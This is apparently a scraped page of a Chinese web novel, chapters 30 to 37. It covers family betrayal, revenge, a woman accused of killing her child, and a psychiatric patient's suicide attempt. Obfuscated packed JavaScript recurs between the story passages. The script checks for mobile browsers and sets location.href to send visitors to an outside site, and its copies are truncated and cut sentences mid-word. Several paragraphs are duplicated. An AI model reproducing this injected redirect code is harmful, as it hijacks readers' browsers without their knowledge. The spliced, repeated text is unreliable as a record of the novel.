l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729754|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好好当骗子！你为什么不一辈子当好一个骗子！” 徐佳佳的指责很混乱。然而，唐家明还是听懂了。他却无法为自己辩护。是的，他本来的计划是当一个好骗子，一辈子。他不能告诉徐佳佳真相：从一开始，杨敏就没给他当骗子的机会。这样的真相对于徐佳佳而言，是唐家明编造出来的另一个谎言。 那一天深夜，袁小宜打来电话，说杨敏吞安眠药自杀，正在医院洗胃。徐佳佳赶到医院，看到病床上一脸痛苦的杨敏。杨敏只是哭着说了一件事，唐家明不爱她。唐家明心里真正爱的人，是徐佳佳。 唐家明看到了站在徐佳佳身后的杨敏，杨敏微笑着。 是的。这就是杨敏的报复，熟悉的人，亲人，爱人，都认为唐家明是一个坏人。 突然之间，唐家明明白了杨敏的报复，也看懂了这个世界：好人，还有坏人，他们从来就不是个人的痛苦，他们是这个世界的生存法则。与其说人们努力去做一个好人，不如说大多数人，在适应性这个社会的生存法则。唐家明作为李庆的儿子，从一开始，他就注定沦为了生存法则之外的牺牲品。对于唐家明的痛苦，人们的态度除了嘲笑之外，还有厌恶，憎恨。 31. 第 31 章 唐家明看到了站在徐佳佳身后的杨敏，杨敏微笑着。 是的。这就是杨敏的报复，熟悉的人，亲人，爱人，都认为唐家明是一个坏人。 突然之间，唐家明明白了杨敏的报复，也看懂了这个世界：好人，还有坏人，他们从来就不是个人的痛苦，他们是这个世界的生存法则。与其说人们努力去做一个好人，不如说大多数人，在适应性这个社会的生存法则。唐家明作为李庆的儿子，从一开始，他就注定沦为了生存法则之外的牺牲品。对于唐家明的痛苦，人们的态度除了嘲笑之外，还有厌恶，憎恨。 那一天的深夜，唐家明守在杨敏的家门口。他已经决定了离开。事实上，他的决定已经无关紧要。如果他想保留最后的秘密还有自尊，就必须离开。县城里流传着流言蜚语，都在说唐家明之所以抛弃杨敏，是因为喜欢上了更有钱更好看的姑娘。至于那个姑娘是谁，因为没有证据，所以能够更加大胆地猜测怀疑。不过是几天时间，但凡是跟唐家明说过话，或者偶尔有过交集的年轻的女孩子，尤其是那些未婚女子，都成了大胆怀疑广泛求证的目标。 有那么一个瞬间，唐家明差点脱口而出：提出分手的人是杨敏，他才是被抛弃的人，他才是受害者。 但是，他闭上了嘴，一个字也不敢说。 杨敏已经激起了人们的好奇心。只要唐家明敢为自己辩护，人们就会兴奋地继续提问：杨敏为什么要提出分手？ 是因为徐佳佳吗？是因为唐家明真正爱上的女孩，是徐佳佳吗？唐家明不敢说。 是因为李庆吗？是因为唐家明是李庆的儿子吗？唐家明更加不敢说。 深夜的电线杆下，杨敏在等着唐家明。 “我一直在等你。”杨敏说。 “你知道我会来？”唐家明不得不惊讶。 “我还知道你会赶在天亮前，带着你的母亲，彻底离开县城，最早的班车是五点。唐家明，我真的对你很失望。”杨敏叹气，“这句话，我好像已经说过了。为什么你总是逼我说这样的话呢。徐佳佳回来了，你没有话对徐佳佳说吗？” 唐家明退后了一步，他疑心，不，他在内心深处已经肯定了，这是杨敏的又一个陷阱。 “你想做什么？” “你真的没有话对徐佳佳说吗？你不想见徐佳佳吗？”杨敏一连问了两个问题。 唐家明退无可退。他痛苦而绝望。“杨敏，你到底想怎么样！我从来没有想过要伤害你。我只是想对你好。我只是想补偿你。我只是想弥补我父亲犯下的罪恶。” 杨敏笑了。“唐家明，我真的很讨厌你。你知道我为什么要抢徐佳佳的爸爸妈妈吗？从我母亲进精神病院的那一天开始，我就知道，我没有爸爸也没有妈妈，我没有家了。我必须小心谨慎地活着，我不能犯错。这个世界上，爸爸妈妈可以不喜欢甚至厌恶自己的孩子，孩子们也可以讨厌憎恶自己的爸爸妈妈。有抛弃孩子的父母，也有离家出走的孩子。爸爸，妈妈，还有孩子，他们不断地，肆无忌惮地犯着各种各样的错误呢？为什么呢？因为他们有家，他们有亲人，他们哪怕是沦落成这个世界上最残忍的罪恶，他们的家人还有亲人，仍然会在心里惦记着他们的名字。你看，我想要的，很简单，也很直接。我想要的家人还有亲人，跟你完全没有关系。” “杨敏，我一直在想，我们两个可以建立一个家。无论你做什么，无论你想要什么，我都会尽一切努力满足你。” “然后用我的一生来成全你，成全你唐家明当一个好人，是不是？我的人生，为什么要成全你呢？你是不是还觉得特委屈，哦，对了，差点忘了，为了成全我，你还牺牲你伟大的爱情，你还牺牲了徐佳佳。唐家明，看着我的眼睛，你来告诉我，你心里真正爱的人是我，还是徐佳佳呢？” 唐家明没有回答这个问题。没有回答，就是事实上的回答。 “我明白了，你搞这么多风风雨雨，就是因为嫉妒。你嫉妒唐家明爱的人是徐佳佳不是你？” 李云笑得眼泪都出来了。 杨敏安静地等着李云笑完，然后说了一句话。“很开心，是吧。你不觉得，我在重复你的人生吗？” 李云的笑容消失了。“你做了什么？” “没做什么。就是一点小小的调查工作。李云，不对，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729755|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样很不礼貌，我应该喊你姨妈。姨妈，其实我应该是你的女儿才对，我象你，真的很象你。小的时候，我念书很努力也很辛苦。大考小考，每一次考试的前一个晚上，我几乎都是通宵不睡。但是每一次拿第一名的都是徐佳佳。是啊，我是真的很嫉妒徐佳佳。就象你嫉妒我妈妈一样。小的时候，我还幻想过在徐佳佳的早餐里放安眠药，如果她考试的时候睡着了，我应该会考得比她好。长大了，唐家明来找我的时候，我也想过，如果唐家明喜欢的人真的是我，那么，我是不是拥有了打败徐佳佳的能力？姨妈，你是不是也这样想过？” 李云有一种不好的预感。她想挂断电话。“时间不早了，路又远。杨敏，你早点回家吧。” “姨妈，你急什么。我要说的话才刚刚开始。事实证明，一切都只是我的幻想。唐家明喜欢的是徐佳佳。因为她真实，她哭她笑她的痛苦她的挣扎，当然，还是她的傻里傻气，夺走了唐家明的心。其实我还准备了另外一套方案。我在想，如果我变成另外一个徐佳佳，另外一个混乱的痛苦的挣扎的徐佳佳。我的方案计划很详细也很好操作。徐盛死了，徐佳佳没有了离家出走的理由。她可以回家。当然，如果她不想回家的话，我随便说个谎就行了。例如说袁小宜生病了，很严重之类的。反正徐佳佳就是个心软的傻子。我随口一说她就会相信。然后她回家跟袁小宜一起亲密无间相依为命。这样一来，我就成了外人，扮演一个再次被家庭被亲人抛弃的，无依无靠的孤儿。姨妈你不要那样看着我，这种事情我能处理的，都已经是熟练工了，一点也不为难。唐家明是个傻子，他有李庆那样的父亲，那些不相干的人，对他说了太多莫名其妙的话，对他的人生提出了太多莫名其妙的建议，例如让他去赎罪让他去死之类的。傻子，真的是傻子。如果我过得痛苦不堪，唐家明喜欢的人，很有可能就是我了。可是，唐家明已经是个傻子了，我也做个傻子多没意思啊。做一个骗子，骗一骗身边所有的人，应该是更好玩。姨妈，承认自己是杀人凶手，杀害的还是自己的孩子，爱你的人，恨你的人，认识你的人，还有不认识你的人，都在谈论你，都在关注你，是不是很好玩？” 32. 第 32 章 杨敏是故意的，故意把自己的狼狈不堪展现在李云面前，李云开始幸灾乐祸，她就突然发起攻击。杨敏从来不认为自己是个好人，她也没想过要做一个好人。毕竟，作为好人的爸爸去世之后，她的生活成了废墟。即便是如此，杨敏仍然不敢相信，李云会因为嫉妒，引人关注而杀死自己的孩子。 杨敏相信这个世上有穷凶恶极的人类存在，但是如果别人眼里泯灭人性的存在，是自己的亲人，她不会在第一时间相信。她会怀疑，求证，度过漫长的怀疑自己，怀疑他人，怀疑整个世界的摇摆时间，哪怕是被世人嘲笑成傻子，帮凶，他们也许会妥协，也许会沉默，也许会说一些言不由衷的谎言，但是，事实是，直到所有的证据都摆在了眼前，他们还是会有两个选择：绝望地相信，或者绝望地拒绝相信。 血缘上来说，李云是杨敏最亲的亲人。 亲人，是童年的任性。 家庭，是成年的庇护所。 对于人类而言，感情是美好生活的良药，副作用就是自私，极少数人会产生阴暗暴力。要求人类因为副作用或者极少数人的极端症状，放弃感情这一味良药，这是傻瓜都不会去做的事情。 家庭，还有家人，是游走在脉脉温情之下的，最温柔和最残忍之间的问候，早上好，晚安，日复一日，年复一年，生生世世，即便是死亡，也不会罢休。 “佳佳，我希望你能帮助我。你现在是律师了。” 杨敏回到家。徐佳佳已经收拾好了行李准备离开。她刚刚通过律师资格考试，是省城律师事务所的实习律师。 “杨敏，你相信你姨妈是无辜的吗？” 杨敏不会对徐佳佳说谎。她太了解徐佳佳了。徐佳佳能承受最丑陋的真相，但是，谎言，会让她决然离去。 “我不知道。我做过测试。她的反应，我的直觉都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729756|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉我，她没有杀死自己的孩子。从感情上来说，我希望她是无罪的。所以我不得不怀疑，感情的倾向会严重影响甚至蒙蔽我的判断力。但是，佳佳，哪怕结果证实了李云是杀害了自己的孩子，我仍然希望你能帮我。李云是我的亲人。佳佳，亲人，对我很重要。” 杨敏说，亲人对她很重要。她低着头，也没有抬高声音，徐佳佳没有觉察到她隐藏的心思。李云是亲人，那么，徐佳佳呢？徐佳佳对于杨敏而言，又是怎样的存在呢？ 徐佳佳的存在，对于杨敏而言，有一个重要的分水岭，就是徐盛的死亡。徐盛死亡以前的徐佳佳，对于杨敏而言，是需要排挤的敌人。杨敏甚至幻想过，她在废墟之上重新建立起来的家庭和亲人，没有徐佳佳才是完整的，温暖的。但是，徐盛死亡之后，杨敏这才意识到，徐佳佳才是她真正的亲人，是那个厌恶她，恨着她，背叛她，但是永远不会抛弃她的亲人。 33. 第 33 章 每当杨敏回首往事的时候，把自己所做过的每一件事都摊开，把她的心剖开，把她隐藏最深的欲望全部罗列出来。她会闭上眼睛，转过身，用最快的速度逃跑。 她明明知道，唐家明是李庆的儿子，为什么还是要跟唐家明在一起呢？如果杨敏真实地面对自己，她就会知道，只有当她和唐家明在一起的时候，徐佳佳的眼里，才会有她的存在。 她明明知道，唐家明可以给她一个家，为什么还要拒绝唐家明呢？因为杨敏太清楚了，如果她和唐家明在一起，徐佳佳就会从她的世界里彻底消失。 然则，这所有的一切，仅仅只是问题的一个方面。杨敏并不是一开始就知道自己想要的是什么。她只是努力着，获得了想要的东西。然而，也就是那个瞬间，当她的手里捧着胜利果实的时候，她才清醒过来，清醒地知道，她不需要的是什么。 当李云用财产来要挟杨敏，要求杨敏定期去监狱探视的时候，杨敏是非常不高兴的。她没想到，象李云这样的人，一个十恶不赦的罪犯，居然还有脸对监狱之外的守法公民提出要求。 杨敏自认是一个自私自利薄情寡义之人。很长的一段时间里，她总是在抱怨，哪怕是在一年之内只抽出一天的时间，她也会抱怨，抱怨冬天太冷，去往监狱的路途太远她必须天不亮就离开温暖的被窝，有一本书只看了一半，朋友们约好了一起去看电影。虽然她也晓得冬天是她自己的选择，虽然那一天她不一定继续看那本书，也许会有其他的事情其他的借口，使得她看不成电影。但是，她就是不高兴，就是要把所有的责任归结于李云。 如果杨敏能够诚实地面对自己，她就需要问自己，帮助李云，到底是因为李云是她的亲人？还是因为跟李云相处的时间久了，有了感情？还是因为可以利用李云这件事，可以增进她和徐佳佳之间的联系。 但是，杨敏忘记了一件事，一件非常重要的事情。徐佳佳，从来就不是一个傻子。 “李云是你的亲人，那么，我呢？我是你什么人？” “佳佳，不管你信不信。在我心里，一直把你当成亲人。” 徐佳佳笑了。“杨敏，不久以前你还告诉我，唐家明会成为你的亲人。他是你最好的选择，即便他不爱你，你仍然能获得最大的利益，你会过上幸福快乐的生活。既然是最好的选择，最大的利益，为什么要放弃呢？” 不知什么时候，徐佳佳已经走到了杨敏的身边。她的个头比杨敏高，身高的优势让她能够在高处俯视着杨敏。 “佳佳，我求你的是李云的事，你扯唐家明做什么？” “因为你不把唐家明的事说清楚，李云的事，你就去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729757|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找别人。” “找别人就找别人。我把房子卖了有的是钱，可以请最好的律师。” 杨敏用力推开徐佳佳，朝着门口逃去。杨敏和徐佳佳之间，一直是一场拉锯战。这些年她好不容易占领了领先的位置，并且计划一直领先下去。她有一种感觉，徐佳佳在挑战她的领先地位。她不能让徐佳佳得逞。 但是，就这样离开吗？ 杨敏停在了门口。剩下的那一步，她不敢走。 “杨敏，你躲什么呢？是不是不想让我知道，在你的心里，我比唐家明，比你的爱情更加重要，我比你想要的安稳的生活更加重要。为什么呢？” 徐佳佳笑了。突然间，她很开心。她伸出右手，慢慢地合上手指，用力，紧紧的握成一个拳头。 “杨敏，你的弱点在我的手心里，你抢走了我的家，抢走了我的父母，那又怎样呢？你最害怕的，仍然是害怕失去我，害怕我抛弃你，害怕我和你，从此变成陌生人。” “亲人对你很重要。杨敏，那你也应该知道，亲人带来的伤害是最痛最深的。失去是伤害，抛弃是伤害，背叛是伤害，暴力更是无法弥补的伤害。” “杨敏，你拒绝唐家明，选择我成为你的亲人。那你有没有想过，我会伤害你，又或者，我会报复你，报复你所做过的一切。” 34. 第 34 章 杨敏一直专心致志地听着。一开始，她是忐忑不安的。慢慢的，她的心定了下来。她的心在无边无际的黑暗中一直往下掉，掉了很多年，岁月漫长，漫长到她都要绝望了。但是，现在，她整个人活了过来，她站着，第一次感受到脚底下的地面，是那样的踏实而且平稳。 她哭了，她无法控制自己，眼泪不断地掉下来，越哭越凶。 杨敏的眼泪让徐佳佳不知所措。 “不要以为你哭了我就会心软。杨敏我告诉你，你做的那些事，我都记着。我一定会报复的。” 徐佳佳的身体僵硬了。 杨敏冲了过来，猛地抱住了徐佳佳。 “我愿意你报复我。一直一直地报复下去。佳佳，只要你还愿意报复我，你就不会离开我。如果哪一天的半夜，我病了，我会打电话给你。我死了，我希望最后那个看到我尸体的人，是你。佳佳。只有你，看到我最丑陋不堪的样子，我才不会无地自容，我仍然有勇气若无其事地面对这个世界。” 杨敏想起了徐佳佳的兔子。徐佳佳为什么会养那些兔子呢？她不想知道答案。答案并不一定是真相。在她看来，不管徐佳佳怎么讨厌那些兔子，也不管那些兔子是多么的令人厌烦，徐佳佳仍然记得带给他们食物，也会帮他们洗澡，偶尔心情好的时候，还会跟他们说一说心里的话。最重要的是，只要那些兔子一直都活着，她的选择就是正确的。 杨敏不知道自己的选择是不是对的，但是，她不顾一切地抱住了徐佳佳。事实上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729758|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要徐佳佳没有把她推开，她就觉得她的选择充满了希望。 徐佳佳坐在李云面前，她在跟李云说话。一如既往，李云说话的样子还是那样的令人厌恶。徐佳佳的拳头握住了又松开。她在忍耐，她也在耐心地记着笔记。 杨敏在不远处的门口站着。人来人往的大门口，人们低着头，脚步匆匆，不想让别人看清自己的样子。这是通往监狱的入口。她站在那里。她仍然害怕遇到熟人。万一不幸遇到熟人，她会毫不犹豫地说谎，跟监狱这种地方划清界限。尽管如此，她还是非常清楚自己在做什么。她在废墟之上建立了一个城堡，城堡里住着的，都是她的亲人。她不能保证她的亲人们到底是好人，还是坏人，她只能保证，这是她的城堡，这是她的亲人。 35. 第 35 章 五年来，唐家明常常思考一个问题，如果那个时候，他的选择是徐佳佳而不是杨敏，杨敏会不会给他一条活路？他有没有可能收获爱情？但是，他笑了，什么是活路呢？什么又是爱情呢？跟徐佳佳在一起就是活路吗？年轻时代的心跳和痛楚真的就是一生不变的爱情吗？离开。彻底地离开，难道就不是活路吗？ 离开的时间长了，很多人，很多事也就淡忘了。唐家明偶尔还是会从梦中惊醒，梦见人们用鄙视的眼光指责他。在梦里，他不是唐家明，他是杀人犯的儿子。令人愉悦的是，这样的梦越来越少了。也只有这个时候，唐家明才深深地体会到，离开，真的是一件好事，秘密，是生存的法则，而遗忘，却是大自然对人类最好的馈赠。 唐家明从医学院毕业，到维南精神病院已经三个月了。这三个月里，他认识了各种各样的精神病人。人类从正常人变成精神病患者，有着无数的理由，因为感情，因为事业，因为学业，因为金钱和名利，还有，就是根本没有原因，生而如此。 沈婷婷是唐家明的病人，十八岁的小姑娘，因为高考落榜想不开，被家人送进了维南。 “我在妈妈肚子里的时候，并不是一个人，我还有一个双胞胎姐姐，她叫沈依依。我们俩长得一模一样，她比我早五分钟出生，所以她的出生牌上的名字叫沈依依。我的出生牌的名字叫沈婷婷。唐医生，你说，有没有可能，我们的出生牌被人换掉了。我才是真正的沈依依。” 第一次见面，沈婷婷给唐家明讲了一个双胞胎姐姐的故事。 唐家明相信了。“你姐姐呢？她现在怎么样？” “她死了。死了很多年了。妈妈给我们洗澡，只能一个一个地洗，洗完了一个再洗另一个。可是，当她在给另一个洗澡的时候，床上的那个爬到了床边，差点摔了下来。她跑过去接住了差点摔下床的那一个，浴盆里的那一个，就淹了。唐先生，你说，淹死的那一个，到底是沈婷婷，还是沈依依？” “你叫沈婷婷，你还活着？” “如果死的那一个，是沈婷婷呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729759|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “你才是沈婷婷，从小到大，你就叫这个名字。你的户口本，身份证上，写的就是这个名字。” “如果我死了，我的墓碑上刻着的名字，是不是就是沈婷婷？” “那是当然，你的户口本上是什么名字，你的墓碑上就是什么名字。” “如果一个人死了，烧成灰烬的是她的躯体还有灵魂，她的墓碑上却是刻着的别人的名字，那么她这一生，活着的意义又是什么呢？” 这个问题困扰了唐家明很久。然后，他想通了，他是一个正常人，精神病人提出的问题，他根本不可能找到答案。 唐家明翻看了沈婷婷的医疗档案。母亲是中学老师，父亲是镇长。父母的工作很忙，奶奶每个月的一号来维南看望沈婷婷。每到那一天，沈婷婷就呆在病房里，怎么也不肯出来。如果有医生护士想去劝一劝她，还没开口，她就开始发脾气，砸东西打人。 唐家明问了奶奶。奶奶说，沈婷婷是独生女，没有双胞胎姐妹，从来都没有。 36. 第 36 章 唐家明翻看了沈婷婷的医疗档案。母亲是中学老师，父亲是镇长。父母的工作很忙，奶奶每个月的一号来维南看望沈婷婷。每到那一天，沈婷婷就呆在病房里，怎么也不肯出来。如果有医生护士想去劝一劝她，还没开口，她就开始发脾气，砸东西打人。 唐家明问了奶奶。奶奶说，沈婷婷是独生女，没有双胞胎姐妹，从来都没有。 不管怎么说，唐家明是相信奶奶的话的。这是显而易见的，奶奶是正常人，是疼爱孙女的老人家。沈婷婷是个精神患者，住在精神病院。 唐家明的病人里面，沈婷婷是年龄最小的那一个。他心里总有些惋惜。年纪轻轻的小姑娘，花朵一样，如果过不了这个坎，很可能在精神病院呆一辈子。他看到她的病历，刚来的时候，反抗挣扎得很厉害，以至于护工们不得不没日没夜地把她绑在床上。绳子深深地勒进了皮肉里，双手都差一点废掉了。奶奶每一次来，都哭得很厉害。看见了哭，看不见哭得更狠。奶奶总是念叨着，孙女儿的病快快地好了就能回家了。 唐家明也希望沈婷婷的病能快点好。那一天，奶奶走后，唐家明看到沈婷婷站在窗边，看着奶奶离开的背影。她在哭。 “你奶奶年纪大了，过来一趟不容易。你说，这要是在路上出了什么事。” 沈婷婷打断了他的话。“你说，我要是死了，奶奶会很伤心是不是？” “当然。婷婷，你还小，只有十八岁，怎么能说这样的话呢。” “我不叫沈婷婷，我叫沈依依。唐先生，如果我死了，你要记得，我墓碑上的名字，一定要记得，是沈依依。相依为命的依。” 唐家明以为沈婷婷是又一次的胡言乱语。当天晚上，他值夜班，半夜时醒来。寂静的夜里，声音格外清晰，仿佛就是耳边，仿佛就在心上，仿佛很远，仿佛从地底最深处传来。 那是一声：救命！ 唐家明听出来了，那是沈婷婷的声音。他飞快地跑着。 人类其实是一直都有着动物的本能，又甚至说是脱离理智而存在的血缘，或者是情感的警示。本能，或者说是警示，能够让唐家明在第一时间里辨别出什么是假装，什么是疯狂，什么是真正的想要活下去。 唐家明跑过精神病院的走廊，走廊的灯是感应的，跑过长长的走廊，重重的脚步声，跑到哪里，哪里的灯就亮了。灯亮的时候，病房里的病人们就以为天亮了，他们或许是清醒地等着天亮，又或者是真的以为天亮了，欢呼的，哭泣的，还有尖叫的。这些声音对于精神病院来说，是正常的，对于唐家明来说，是熟悉的。 唐家明听到第二声：救命！ 这一声救命，是陌生的。 正常人。 精神病人。 即便唐家明是精神病医生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729760|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，事实上，他只能依据工作手册，依据专业人士整理出来的条条框框，依据个人经验，做出一个洋洋洒洒，在外人看来云深不知处，高端又深奥的结论。 这个结论，常常是决定性的：正常人，还是精神病人。 唐家明总是记得老师讲过的病例，一个正常人，混进精神病院一年时间，没有人发现他原来是正常人。但是这个人出去之后，人们又觉得，正常人做不出混进精神病院，假装精神病人的事。 正常人，精神病人，都是这个世界给人类贴上的标签。如果你符合人类社会的法则，你努力地活着，那么你是正常人。如果你不符合法则，你甚至不想活着，那么，你自然就是精神病人。 一个正常人，至少会努力地活着。 一个精神病人，很多时候，会努力地去死。 唐家明来到了沈婷婷的门口，他停下了脚步。走廊的感应灯亮了，所以，他清晰地看到自己的脚，踩在血迹上面。 那是深色的，缓慢地漫延开来的血迹。 他猛地推开门。 他看到了血泊里的沈婷婷。 他听到沈婷婷的声音。“救命。” 虚弱，但是异常清晰的声音。 那一刻，唐家明的大脑里有了一个结论，一个努力求生的人，一个努力去死之后仍然努力求生的人，是符合这个世界生存法则的正常人。 37. 第 37 章 中午阳光最强烈的时候，病床上的沈婷婷醒了。唐家明一直守着，他有问题要问沈婷婷。 医院为了防止沈婷婷再次自杀，把她的双手绑在病床上。绑着左手，在打着点滴。 “为什么？” 唐家明对着沈婷婷的态度发生了变化。这样的问题，他不会去问一个精神病人。但是，对于正常人，这是一个怎么也绕不开的问题。为了让谈话的气氛更加轻松一些，也是因为那一声救命，让唐家明对沈婷婷有了信任。他解开了绑着她的绳索。 很显然，这个善意的举动赢得了沈婷婷的好感。 “你的为什么，是问我为什么自杀？还是问我为什么求生？” 结论，结论真的是一件可怕的事情。 他是个穷人，穿了件漂亮的衣裳要么是别人的要么是打肿脸充胖子那是虚荣。 他是个有钱人，穿了件旧衣裳那是节约那是美好的品质。 他是一个好人，即便是做了坏事也是情非得已，情有可原。 他是一个坏人，即便是做了好事也是偶尔的良心发现，还是会狗改不了吃屎的。 当唐家明根据病历本认为沈婷婷是一个精神病人的时候，觉得她所说的一切，都是疯言疯语。但是，一旦他改变了这个观念，哪怕只是在心里开了一条口子：沈婷婷，也许，是一个正常人吧？ 唐家明觉得沈婷婷的反问，也是正常的。 “都有吧。我们一个一个来。好吧，按你的顺序，你为什么要自杀？” “我不叫沈婷婷，我叫沈依依。” 一听这话，唐家明就有一种冲动，他要改变主意了。沈婷婷仍然没有变，仍然是个精神病人。 “我知道你在想什么。”沈婷婷看着唐家明。“你脸上的表情，我太熟悉了。每一次我说，我的名字叫沈依依，所有人是这个表情。你知道吗？陌生人是这个表情，我并不奇怪。奇怪的是，那些看着我长大的，从小叫我依依的邻居们，长辈们，还有我唯一的亲人，我的奶奶。他们都觉得我提起沈依依这个名字，就是大逆不孝，就是不知好歹，就是白眼狼。” “唐医生，你和这里的其他人不一样。我想相信你一次。我想赌一次。算了。我其实是在说大话。我已经其他人可以相信了。我连翻本的机会都没有了。唐家明，如果你可怜我，就不要叫我沈婷婷。我叫沈依依。我生下来就叫沈依依。我活到十八岁，我的名字还是叫沈依依。我叫沈依依的时候，我没有父母但是我是正常人。突然有一天，我变成了沈婷婷。我有父亲有了母亲。他们说，我是疯子。” 唐家明看到沈婷婷，不，沈依依的眼泪。她的眼泪是真实的，她的痛苦也是真实的。即便他不想相信，即便在他的内心深处，还有一丝的理智在提醒着他：他面前的这个女孩，是确诊的精神病患者。 “好吧，沈依依。从现在开始，我就叫沈依依。你好，沈依依。” 唐家明是经过专业训练的精神科医生，顺从，从而引导病人打开心扉，也是训练过的方法之一。 “谢谢你，唐医生。” 沈婷婷认真地说着谢谢。她慢慢地挽起袖子，左手，还有右手，上面都是深深的疤痕。 “这些疤痕，都是我尝试自杀的证据。陈旧的那些伤疤，是别人发现的。这一次，这一道新的伤痕，是我自己喊了救命。唐医生，我不会再自杀了。昨天晚上，我的计划很成功。病房的监控被我破坏了。这一个月以后，我没有反抗。护士，护士姐姐，我会礼貌对他们说谢谢。他们给我的药丸，我都会吃下。即便那些药丸会让我大白天会想着睡觉，会让我的很多记忆变得模糊。我知道你们医生的程序，一个精神病人，恢复得太慢会让人挫折，恢复得太快会让人怀疑。所以，我偶尔会说一些疯言疯语。如果上一次说了十句，下一次，会减到九句，我会把乖巧听话的时候延长。你们说，你意识到你是个病人吗？我说是的。我是个病人。你们说，你乖乖听话，病好了就能回家。我说好，我做梦都想着早点回家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729761|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是，独自一人的时候，我总是在想，回家了又能怎么样呢？我必须是沈婷婷。活着又能怎么样呢？我只能沈婷婷。那我为什么还要继续活着呢？” “好了，你已经回答了我的第一个问题。沈依依，第二个问题，你回答我第二个问题，为什么喊救命？” “唐医生，那个理由，我告诉过你。每一次见面的时候，我都告诉你了。” 沈婷婷看着唐家明，她寄托着信任和希望的那个人，她把生命托付的那个人。也许，大概，是能回忆起那些暗示的。 曾经有一位小女孩，站在冰冷的河水里，整整三个小时，看着桥上人来人往。她快要冻死了，她快要淹死了。唐家明就站在岸边，就这么看着。如果他只是看了那么一眼，如果他没有爱上那个女孩。那么，一生一世，都是一个冷酷到底的结论：一个小女孩，因为自己的痛苦和不幸，试图摧毁一座桥，试图伤害桥上的人来人往。 人类的绝望，总是会留下一线暗示的。 